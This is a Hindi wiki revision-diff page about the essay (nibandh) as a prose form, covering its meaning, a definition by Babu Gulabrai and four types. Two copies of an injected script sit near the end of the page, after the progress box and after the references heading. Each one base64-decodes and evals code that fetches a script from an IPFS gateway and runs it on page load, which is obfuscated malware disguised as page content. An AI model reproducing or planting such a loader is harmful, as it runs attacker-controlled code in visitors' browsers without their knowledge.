"निबन्ध" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''निबन्ध''' का हिन्दी गद्य साहित्य में बड़ा ही महत्त...' के साथ नया पन्ना बनाया)
 
पंक्ति 1: पंक्ति 1:
'''निबन्ध''' का [[हिन्दी]] गद्य साहित्य में बड़ा ही महत्त्वपूर्ण स्थान है। यह गद्य लेखन की एक विशेष विधा है। किसी भी विषय पर यदि कुछ लिखना हो या फिर कहना हो, तब निबन्ध का ही सहारा लिया जाता है। निबंध के पर्याय रूप में संदर्भ, रचना और प्रस्ताव का भी उल्लेख किया जाता है। इसे [[अंग्रेज़ी भाषा]] के 'कम्पोज़ीशन' और 'एस्से' के अर्थ में स्वीकार किया जाता है। प्रसिद्ध हिन्दी साहित्यकार [[हज़ारीप्रसाद द्विवेदी|आचार्य हज़ारीप्रसाद द्विवेदी]] के अनुसार [[संस्कृत]] में भी निबंध का [[साहित्य]] है। प्राचीन [[संस्कृत साहित्य]] के निबंधों में धर्मशास्त्रीय सिद्धांतों की तार्किक व्याख्या की जाती थी। प्राय: उनमें व्यक्तित्व की विशेषता नहीं होती थी। आजकल के निबंध संस्कृत निबंधों से बिल्कुल उलट हैं।
+
'''निबन्ध''' का [[हिन्दी]] गद्य साहित्य में बड़ा ही महत्त्वपूर्ण स्थान है। यह गद्य लेखन की एक विशेष विधा है। किसी भी विषय पर यदि कुछ लिखना हो या फिर कहना हो, तब निबन्ध का ही सहारा लिया जाता है। निबन्ध के पर्याय रूप में संदर्भ, रचना और प्रस्ताव का भी उल्लेख किया जाता है। इसे [[अंग्रेज़ी भाषा]] के 'कम्पोज़ीशन' और 'एस्से' के अर्थ में स्वीकार किया जाता है। प्रसिद्ध हिन्दी साहित्यकार [[हज़ारीप्रसाद द्विवेदी|आचार्य हज़ारीप्रसाद द्विवेदी]] के अनुसार [[संस्कृत]] में भी निबन्ध का [[साहित्य]] है। प्राचीन [[संस्कृत साहित्य]] के निबन्धों में धर्मशास्त्रीय सिद्धांतों की तार्किक व्याख्या की जाती थी। प्राय: उनमें व्यक्तित्व की विशेषता नहीं होती थी। आजकल के निबन्ध संस्कृत निबन्धों से बिल्कुल उलट हैं।
 +
==अर्थ तथा परिभाषा==
 +
निबन्ध शब्द का मूल है- 'बन्ध', निबन्ध का अर्थ होता है- 'बाँधना'। किसी विषयवस्तु से सम्बन्धित ज्ञान को क्रमबद्ध रूप से बाँधते हुए लेखन को निबन्ध कहा जाता है। [[बाबू गुलाबराय]] ने निबन्ध को निम्न प्रकार से परिभाषित किया है-
  
 +
"एक सीमित आकार के भीतर किसी विषय या वर्णन या प्रतिपादित एक विशेष निजीपन, स्वच्छन्दता, सौष्ठव, सजीवता तथा सम्बद्धता के साथ किया जाना ही निबन्ध कहलाता है।"
 +
====प्रकार====
 +
मुख्यत: निबन्ध के निम्नलिखित चार भेद होते हैं-
 +
#विचारात्मक
 +
#वर्णनात्मक
 +
#विवराणात्मक
 +
#भावात्मक
  
 +
;विचारात्मक निबन्ध
 +
जब निबन्ध में किसी विषयवस्तु का तर्कपूर्ण विवेचन, विश्लेषण तथा खोज की जाए तो उसे 'विचारात्मक निबन्ध' कहा जाता है। विचारात्मक निबन्ध में बुद्धितत्व की प्रधानता होती है और इनमें लेखक के चिन्तन, मनन, अध्ययन, मान्यताओं तथा धारणाओं का प्रभाव स्पष्टतः दिखाई पड़ता है।
 +
 +
;वर्णनात्मक निबन्ध
 +
जब किसी निबन्ध में किसी वस्तु, स्थान, व्यक्ति, दृश्य आदि का निरीक्षण के आधार पर रोचक तथा आकर्षक वर्णन किया जाए तो उसे 'वर्णनात्मक निबन्ध' कहा जाता है।
 +
 +
;विवरणात्मक निबन्ध
 +
इस प्रकार के निबन्ध में ऐतिहासिक तथा सामाजिक घटनाओं, स्थानों, दृश्यों आदि का रोचक तथा आकर्षक विवरण दिया जाता है, इसीलिए इसे 'विवरणात्मक निबन्ध' कहा जाता है।
 +
 +
;भावात्मक निबन्ध
 +
जब किसी निबन्ध में [[हृदय]] में उत्पन्न होने वाले भावों तथा रागों को दर्शाया जाए तो उसे भावात्मक निबन्ध कहा जाता है। ऐसे निबन्धों की [[भाषा]] सरल, मधुर, ललित तथा संगीतमय होती है और ये निबन्ध कवित्वपूर्ण तथा प्रवाहमय प्रतीत होते हैं।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

06:43, 2 मार्च 2013 का अवतरण

निबन्ध का हिन्दी गद्य साहित्य में बड़ा ही महत्त्वपूर्ण स्थान है। यह गद्य लेखन की एक विशेष विधा है। किसी भी विषय पर यदि कुछ लिखना हो या फिर कहना हो, तब निबन्ध का ही सहारा लिया जाता है। निबन्ध के पर्याय रूप में संदर्भ, रचना और प्रस्ताव का भी उल्लेख किया जाता है। इसे अंग्रेज़ी भाषा के 'कम्पोज़ीशन' और 'एस्से' के अर्थ में स्वीकार किया जाता है। प्रसिद्ध हिन्दी साहित्यकार आचार्य हज़ारीप्रसाद द्विवेदी के अनुसार संस्कृत में भी निबन्ध का साहित्य है। प्राचीन संस्कृत साहित्य के निबन्धों में धर्मशास्त्रीय सिद्धांतों की तार्किक व्याख्या की जाती थी। प्राय: उनमें व्यक्तित्व की विशेषता नहीं होती थी। आजकल के निबन्ध संस्कृत निबन्धों से बिल्कुल उलट हैं।

अर्थ तथा परिभाषा

निबन्ध शब्द का मूल है- 'बन्ध', निबन्ध का अर्थ होता है- 'बाँधना'। किसी विषयवस्तु से सम्बन्धित ज्ञान को क्रमबद्ध रूप से बाँधते हुए लेखन को निबन्ध कहा जाता है। बाबू गुलाबराय ने निबन्ध को निम्न प्रकार से परिभाषित किया है-

"एक सीमित आकार के भीतर किसी विषय या वर्णन या प्रतिपादित एक विशेष निजीपन, स्वच्छन्दता, सौष्ठव, सजीवता तथा सम्बद्धता के साथ किया जाना ही निबन्ध कहलाता है।"

प्रकार

मुख्यत: निबन्ध के निम्नलिखित चार भेद होते हैं-

  1. विचारात्मक
  2. वर्णनात्मक
  3. विवराणात्मक
  4. भावात्मक
विचारात्मक निबन्ध

जब निबन्ध में किसी विषयवस्तु का तर्कपूर्ण विवेचन, विश्लेषण तथा खोज की जाए तो उसे 'विचारात्मक निबन्ध' कहा जाता है। विचारात्मक निबन्ध में बुद्धितत्व की प्रधानता होती है और इनमें लेखक के चिन्तन, मनन, अध्ययन, मान्यताओं तथा धारणाओं का प्रभाव स्पष्टतः दिखाई पड़ता है।

वर्णनात्मक निबन्ध

जब किसी निबन्ध में किसी वस्तु, स्थान, व्यक्ति, दृश्य आदि का निरीक्षण के आधार पर रोचक तथा आकर्षक वर्णन किया जाए तो उसे 'वर्णनात्मक निबन्ध' कहा जाता है।

विवरणात्मक निबन्ध

इस प्रकार के निबन्ध में ऐतिहासिक तथा सामाजिक घटनाओं, स्थानों, दृश्यों आदि का रोचक तथा आकर्षक विवरण दिया जाता है, इसीलिए इसे 'विवरणात्मक निबन्ध' कहा जाता है।

भावात्मक निबन्ध

जब किसी निबन्ध में हृदय में उत्पन्न होने वाले भावों तथा रागों को दर्शाया जाए तो उसे भावात्मक निबन्ध कहा जाता है। ऐसे निबन्धों की भाषा सरल, मधुर, ललित तथा संगीतमय होती है और ये निबन्ध कवित्वपूर्ण तथा प्रवाहमय प्रतीत होते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>